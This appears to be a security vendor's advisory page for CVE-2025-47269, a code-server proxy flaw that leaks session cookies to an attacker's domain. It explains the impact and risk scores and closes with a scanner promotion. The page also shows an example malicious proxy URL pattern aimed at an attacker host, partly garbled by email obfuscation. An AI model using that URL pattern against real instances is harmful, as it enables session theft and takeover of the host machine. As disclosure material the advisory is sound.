code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/
[email protected]/path` would be proxied to `
[email protected]/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.
Risk analysis
Based on its CVSS vector, this vulnerability is exploitable over the network, low attack complexity, requiring no privileges, user interaction. Successful exploitation leads to high impact to confidentiality, high impact to integrity, low impact to availability.
Its EPSS score of 36.0% reflects a moderate probability of exploitation activity in the wild over the next 30 days, placing it above 98% of all scored CVEs.
How ThreatPort helps with CVE-2025-47269
ThreatPort's external attack surface scanner checks your internet-facing assets — agentlessly, from the outside in — for the exposed services and versions that CVE-2025-47269 affects, then prioritises the finding by real risk using CISA KEV and FIRST.org EPSS.
Run a free external exposure scan